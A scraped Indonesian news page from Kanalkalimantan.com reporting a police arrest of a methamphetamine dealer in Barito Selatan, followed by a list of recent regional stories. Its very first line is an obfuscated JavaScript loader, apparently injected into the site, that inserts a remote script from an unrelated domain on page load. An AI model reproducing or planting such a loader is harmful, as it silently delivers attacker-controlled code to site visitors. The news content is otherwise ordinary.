(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Satresnarkoba Polres Barsel Kembali Ringkus Pengedar Sabu


BUNTOK, Sat Resnarkoba Polres Barito Selatan (Barsel) kembali berhasil meringkus pengedar narkotika jenis sabu-sabu dengan tersangka berinisial SY alias TNL (33), warga Kelurahan Bangkuang Kecamatan Karau Kuala, Sabtu (2/3) sekitar pukul 04.00 WIB.

Kapolres Barsel AKBP Wahid Kurniawan SIK melalui Kasat Narkoba IPTU Sanip kepada Kanalkalimantan.com membenarkan telah berhasil meringkus SY. Penangkapan ini berawal informasi masyarakat yang resah dengan maraknya peredaran narkoba di Kelurahan Bangkung. “Berdasarkan informasi dari masyarakat tersebut, kita melakukan penyelidikan terhadap perilaku dn kegiatan tersangka,” kata Sanip.

Tersangka diketahui menyimpan serta mengedarkan barang haram tersebut di rumahnya. Selanjutnya, bersama anggota Sat Resnarkoba Polres Barsel disaksikan Ketua RT setempat melakukan pengeledahan terhadap SY.

Di kamar tersangka, petugas berhasil mendapatkan butiran kristal bening sabu-sabu dibungkus dengan plastik bening. “Yang disimpan, tersangka didalam lampu hias didalam kamarnya. Sebanyak, satu bungkus dengan berat 3,02 gram,” ungkap Sanip.

Menurut Sanip, dari pengakuan tersangka SY barang haram tersebut ia pesan dari Kecamatan Dusun Tengah Ampah Kabupaten Barito Timur (Bartim). Pemesanan sabu-sabu tersebut yakni menghubungi seseorang melalui telepon seluler. “Selanjutnya pesan itupun diantarkan langsung ke Kelurahan Bangkuang,” ujarnya.

Ia juga mengungkapkan, selain dari pengakuan tersangka sabu-sabu tersebut selain ia pergunakan sendiri juga dijual di Bangkuang. Dalam kasus ini polisi mengamankan satu bungkus plastik klip bening berisikan butiran kristal warna bening sabu-sabu berat 3,02 gram, satu buah Handphone Nokia warna biru dan uang tunai hasil penjualan sabu-sabu sebesar Rp 300 ribu.

Saat ini tersangka SY diamankan di Mapolres Barsel, Dia dikenakan Pasal 112 ayat (1) dan Pasal 114 ayat (1) Undang-Undang Republik Indonesia Nomor 35 Tahun 2009 tentang Narkotika. (digdo)

Reporter: Digdo
Editor: Chell

Desy Arfianty

Recent Posts

Safari Ramadan ke Aranio, Bupati Banjar Disambut Hangat oleh Warga

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur dan Wabup Banjar Habib Idrus Alhabsyi beserta… Read More

11 jam ago

Pencari Kayu Berangkat Kamis, Sabtu Ditemukan di Rawa Hutan Galam

KANALKALIMANTAN.COM, BANJARBARU - Temuan jasad lelaki paruh baya di tengah hutan rawa kawasan Jalan Ahmad… Read More

12 jam ago

Bappedalitbang Banjar Segera Umumkan Hasil Penilaian Evaluasi Kinerja Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat hasil… Read More

16 jam ago

Ketua DPRD Hadiri Safari Ramadan Wabup Kotabaru

KANALKALIMANTAN.COM, KOTABARU – Wakil Bupati Kotabaru Syairi Mukhlis melaksanakan Safari Ramadan ke Kecamatan Pulau Laut… Read More

16 jam ago

Tiga Hari Hilang, Pencari Kayu Bakar Ditemukan Membusuk di A Yani Km 21

KANALKALIMANTAN.COM, BANJARBARU - Sesosok mayat laki-laki didapati tergeletak di tengah hutan rawa kawasan Jalan A… Read More

18 jam ago

1.082 Sertifikat Tanah Atas Nama Pemko Banjarbaru Diserahkan

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 1.082 persil sertifikat tanah berupa tanah jalan dan jalan fasilitas umum… Read More

20 jam ago